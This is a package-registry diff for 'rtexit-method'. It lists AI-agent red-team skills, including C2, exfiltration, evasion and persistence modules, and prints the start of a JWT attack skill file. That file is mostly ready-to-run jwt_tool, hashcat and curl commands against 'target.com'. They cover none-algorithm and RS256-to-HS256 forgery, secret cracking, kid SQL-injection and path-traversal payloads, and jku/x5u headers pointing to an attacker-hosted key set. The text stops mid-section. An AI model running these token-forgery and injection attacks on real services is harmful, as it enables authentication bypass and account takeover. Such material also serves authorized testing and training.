rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1327 @@
1
+ ---
2
+ name: rt-exploit-jwt
3
+ description: "JWT (JSON Web Token) attack skill. Covers algorithm confusion (RS256 to HS256 with public key), none algorithm attack, weak secret brute force (hashcat mode 16500), kid injection (SQL/path traversal), JWK injection, JWKS spoofing, and JWT expiry manipulation. Tool: jwt_tool."
4
+ ---
5
+
6
+ # rt-exploit-jwt — JWT Attack Skill
7
+
8
+ ## 1. Overview
9
+
10
+ JSON Web Tokens (JWTs) are a compact, URL-safe means of representing claims between parties. They are widely used for authentication and authorization in modern web applications. Due to their complexity and frequent misimplementation, JWTs are a high-value target during red team engagements.
11
+
12
+ A JWT consists of three Base64URL-encoded parts separated by dots:
13
+
14
+ ```
15
+ HEADER.PAYLOAD.SIGNATURE
16
+ eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.SIGNATURE
17
+ ```
18
+
19
+ **Header** — specifies the algorithm and token type
20
+ **Payload** — contains claims (subject, role, expiry, etc.)
21
+ **Signature** — cryptographic proof of integrity
22
+
23
+ ### Attack Surface
24
+
25
+ | Vulnerability | Impact | Prevalence |
26
+ |---|---|---|
27
+ | Algorithm confusion (RS256 -> HS256) | Authentication bypass, privilege escalation | High |
28
+ | None algorithm | Full authentication bypass | Medium |
29
+ | Weak secret brute force | Full token forgery | High |
30
+ | `kid` SQL injection | RCE / auth bypass | Medium |
31
+ | `kid` path traversal | Auth bypass | Medium |
32
+ | JWK injection | Full token forgery | Medium |
33
+ | JWKS spoofing | Full token forgery | Low-Medium |
34
+ | Expiry manipulation | Session extension | High |
35
+ | `x5u` / `jku` header injection | Full token forgery | Medium |
36
+
37
+ ### Primary Tool: jwt_tool
38
+
39
+ ```
40
+ https://github.com/ticarpi/jwt_tool
41
+ ```
42
+
43
+ jwt_tool is the de-facto standard CLI for JWT manipulation, tampering, and testing. It supports all major attack classes and produces ready-to-use tampered tokens.
44
+
45
+ ### Supporting Tools
46
+
47
+ - `hashcat` — GPU-accelerated secret brute force (mode 16500)
48
+ - `john` — CPU-based secret brute force
49
+ - `openssl` — key generation, public key extraction
50
+ - `python3` / `PyJWT` — scripted token manipulation
51
+ - `jose` (npm) — JavaScript JWT utilities
52
+ - `Burp Suite` — intercept and replay tampered tokens
53
+
54
+ ---
55
+
56
+ ## 2. Skill Levels
57
+
58
+ ### BEGINNER
59
+
60
+ Focus: Capture a JWT, decode it, understand its structure, perform none-algorithm and basic brute-force attacks.
61
+
62
+ **Prerequisites**
63
+ - Python 3.8+
64
+ - jwt_tool installed
65
+ - A valid JWT token from the target application
66
+
67
+ **Key commands**
68
+
69
+ ```bash
70
+ # Install jwt_tool
71
+ git clone https://github.com/ticarpi/jwt_tool
72
+ cd jwt_tool
73
+ pip3 install -r requirements.txt
74
+
75
+ # Decode and inspect a token (no verification)
76
+ python3 jwt_tool.py <TOKEN>
77
+
78
+ # Pretty-print decoded token
79
+ python3 jwt_tool.py <TOKEN> -p
80
+
81
+ # Check for none algorithm vulnerability
82
+ python3 jwt_tool.py <TOKEN> -X a
83
+
84
+ # Try common weak secrets (built-in wordlist)
85
+ python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/jwt-secrets.txt
86
+ ```
87
+
88
+ **What to look for in the decoded header**
89
+ - `"alg": "RS256"` or `"alg": "ES256"` — asymmetric, check for confusion attacks
90
+ - `"alg": "HS256"` — symmetric, attempt brute force
91
+ - `"kid"` present — check for injection
92
+ - `"jku"` or `"x5u"` present — check for header injection
93
+ - Short expiry (`"exp"`) — note for manipulation
94
+
95
+ ---
96
+
97
+ ### INTERMEDIATE
98
+
99
+ Focus: Algorithm confusion attacks, expiry tampering, basic kid injection, JWKS endpoint reconnaissance.
100
+
101
+ **Prerequisites**
102
+ - Public key of the target (obtained via JWKS endpoint, TLS certificate, or source code)
103
+ - Understanding of RS256 vs HS256 mechanics
104
+
105
+ **Key commands**
106
+
107
+ ```bash
108
+ # Fetch JWKS from a common endpoint
109
+ curl -s https://target.com/.well-known/jwks.json | jq .
110
+ curl -s https://target.com/api/.well-known/jwks.json | jq .
111
+ curl -s https://target.com/auth/realms/master/protocol/openid-connect/certs | jq .
112
+
113
+ # Extract public key from JWKS (convert n,e to PEM)
114
+ python3 jwt_tool.py <TOKEN> --jwks https://target.com/.well-known/jwks.json
115
+
116
+ # RS256 to HS256 confusion attack using public key file
117
+ python3 jwt_tool.py <TOKEN> -X k -pk public.pem
118
+
119
+ # Tamper payload (change role to admin) and resign with confusion
120
+ python3 jwt_tool.py <TOKEN> -X k -pk public.pem -I -pc role -pv admin
121
+
122
+ # None algorithm — strip signature
123
+ python3 jwt_tool.py <TOKEN> -X a
124
+
125
+ # Expire time manipulation (set exp 24h in future)
126
+ python3 jwt_tool.py <TOKEN> -I -pc exp -pv 9999999999
127
+
128
+ # Tamper sub claim to another user ID
129
+ python3 jwt_tool.py <TOKEN> -I -pc sub -pv admin
130
+
131
+ # Scan all vulnerabilities automatically
132
+ python3 jwt_tool.py <TOKEN> -t https://target.com/api/protected -rh "Authorization: Bearer <TOKEN>" --scan
133
+ ```
134
+
135
+ ---
136
+
137
+ ### ADVANCED
138
+
139
+ Focus: kid SQL injection, kid path traversal, JWK set injection, jku/x5u header injection, custom claims, scripted attacks.
140
+
141
+ **Prerequisites**
142
+ - Burp Suite (or mitmproxy) to intercept and replay
143
+ - Attacker-controlled server for JWKS hosting
144
+ - OpenSSL for key pair generation
145
+ - Understanding of SQL and file system paths
146
+
147
+ **Key commands**
148
+
149
+ ```bash
150
+ # kid SQL injection — make HMAC secret a known value
151
+ # The server query: SELECT secret FROM secrets WHERE kid = '<KID>'
152
+ # Inject: ' UNION SELECT 'attacker_secret' --
153
+ python3 jwt_tool.py <TOKEN> -I -hc kid -hv "x' UNION SELECT 'attacker_secret'-- -" -S hs256 -p attacker_secret
154
+
155
+ # kid path traversal — point kid to /dev/null (empty secret)
156
+ python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../../../../dev/null" -S hs256 -p ""
157
+
158
+ # kid path traversal — point to a known file (e.g., /proc/sys/kernel/randomize_va_space)
159
+ python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
160
+
161
+ # JWK injection — embed attacker key in header
162
+ # First generate a key pair
163
+ openssl genrsa -out attacker_private.pem 2048
164
+ openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
165
+
166
+ # Inject JWK set into token header
167
+ python3 jwt_tool.py <TOKEN> -X i
168
+
169
+ # jku header injection — point to attacker-hosted JWKS
170
+ python3 jwt_tool.py <TOKEN> -X s -ju https://attacker.com/jwks.json
171
+
172
+ # x5u header injection
173
+ python3 jwt_tool.py <TOKEN> -X u -xu https://attacker.com/x5u.pem
174
+
175
+ # Fuzz all header and payload parameters
176
+ python3 jwt_tool.py <TOKEN> -t https://target.com/api/protected -rh "Authorization: Bearer <TOKEN>" -M pb
177
+
178
+ # Tamper multiple claims simultaneously
179
+ python3 jwt_tool.py <TOKEN> -I -pc role -pv admin -pc sub -pv 1 -pc email -pv admin@target.com
180
+ ```
181
+
182
+ ---
183
+
184
+ ### EXPERT
185
+
186
+ Focus: Chained attacks, automation, WAF bypass, custom Python exploits, engagement-grade documentation, edge cases.
187
+
188
+ **Prerequisites**
189
+ - Full understanding of JWT RFC 7519, 7517, 7518
190
+ - Custom exploit scripting in Python
191
+ - Red team infrastructure for JWKS hosting
192
+
193
+ **Key commands**
194
+
195
+ ```bash
196
+ # Full automated scan with verbose output and all tamper modes
197
+ python3 jwt_tool.py <TOKEN> -t https://target.com/api/v1/me \
198
+ -rh "Authorization: Bearer <TOKEN>" \
199
+ -rh "X-Custom-Header: value" \
200
+ --scan -V 2>&1 | tee jwt_scan_$(date +%Y%m%d_%H%M%S).txt
201
+
202
+ # Hashcat mode 16500 — GPU crack HS256 secret
203
+ hashcat -a 0 -m 16500 <TOKEN> /usr/share/wordlists/rockyou.txt
204
+ hashcat -a 0 -m 16500 <TOKEN> /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
205
+ hashcat -a 3 -m 16500 <TOKEN> "?a?a?a?a?a?a?a?a" # Brute force up to 8 chars
206
+
207
+ # After cracking, forge a new token with any payload
208
+ python3 jwt_tool.py <TOKEN> -I -pc role -pv superadmin -S hs256 -p "CRACKED_SECRET"
209
+
210
+ # RS256 confusion — full workflow with extracted public key
211
+ # Step 1: Get the public key from JWKS
212
+ curl -s https://target.com/.well-known/jwks.json | python3 -c "
213
+ import sys, json, base64, struct
214
+ from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
215
+ from cryptography.hazmat.backends import default_backend
216
+ from cryptography.hazmat.primitives import serialization
217
+
218
+ jwks = json.load(sys.stdin)
219
+ key = jwks['keys'][0]
220
+
221
+ def b64_to_int(s):
222
+ b = base64.urlsafe_b64decode(s + '==')
223
+ return int.from_bytes(b, 'big')
224
+
225
+ pub_numbers = RSAPublicNumbers(b64_to_int(key['e']), b64_to_int(key['n']))
226
+ pub_key = pub_numbers.public_key(default_backend())
227
+ pem = pub_key.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
228
+ print(pem.decode())
229
+ " > extracted_public.pem
230
+
231
+ # Step 2: Perform confusion attack
232
+ python3 jwt_tool.py <TOKEN> -X k -pk extracted_public.pem -I -pc role -pv admin -pc sub -pv 1
233
+
234
+ # Extract public key from TLS certificate
235
+ echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > tls_public.pem
236
+ python3 jwt_tool.py <TOKEN> -X k -pk tls_public.pem -I -pc role -pv admin
237
+ ```
238
+
239
+ ---
240
+
241
+ ## 3. Step-by-Step Attack Workflow
242
+
243
+ ### Phase 1 — Discovery
244
+
245
+ **Step 1: Capture a JWT**
246
+
247
+ Intercept traffic via Burp Suite. Look in:
248
+ - `Authorization: Bearer <TOKEN>` header
249
+ - `Cookie: token=<TOKEN>` or `Cookie: session=<TOKEN>`
250
+ - Response bodies from `/login`, `/auth`, `/token` endpoints
251
+
252
+ ```bash
253
+ # Quick test with curl
254
+ curl -s -X POST https://target.com/api/login \
255
+ -H "Content-Type: application/json" \
256
+ -d '{"username":"user","password":"password"}' | jq .token
257
+ ```
258
+
259
+ **Step 2: Decode the token**
260
+
261
+ ```bash
262
+ TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.SIGNATURE"
263
+
264
+ python3 jwt_tool.py $TOKEN -p
265
+ ```
266
+
267
+ Note:
268
+ - The `alg` field (determines attack path)
269
+ - The `kid` field (injection vector)
270
+ - The `jku`/`x5u`/`jwk` fields (injection vectors)
271
+ - Claims: `sub`, `role`, `admin`, `email`, `iss`, `aud`, `exp`, `iat`
272
+
273
+ **Step 3: Identify JWKS endpoints**
274
+
275
+ ```bash
276
+ for path in \
277
+ "/.well-known/jwks.json" \
278
+ "/oauth/jwks" \
279
+ "/auth/realms/master/protocol/openid-connect/certs" \
280
+ "/api/auth/keys" \
281
+ "/.well-known/openid-configuration" \
282
+ "/api/.well-known/jwks.json" \
283
+ "/v1/keys" \
284
+ "/keys"; do
285
+ echo -n "Trying $path: "
286
+ curl -s -o /dev/null -w "%{http_code}" https://target.com$path
287
+ echo
288
+ done
289
+ ```
290
+
291
+ ---
292
+
293
+ ### Phase 2 — Algorithm Analysis
294
+
295
+ **Step 4: Check the algorithm**
296
+
297
+ ```bash
298
+ # Decode header manually
299
+ echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null
300
+ # Output: {"alg":"RS256","typ":"JWT"}
301
+ ```
302
+
303
+ Decision tree:
304
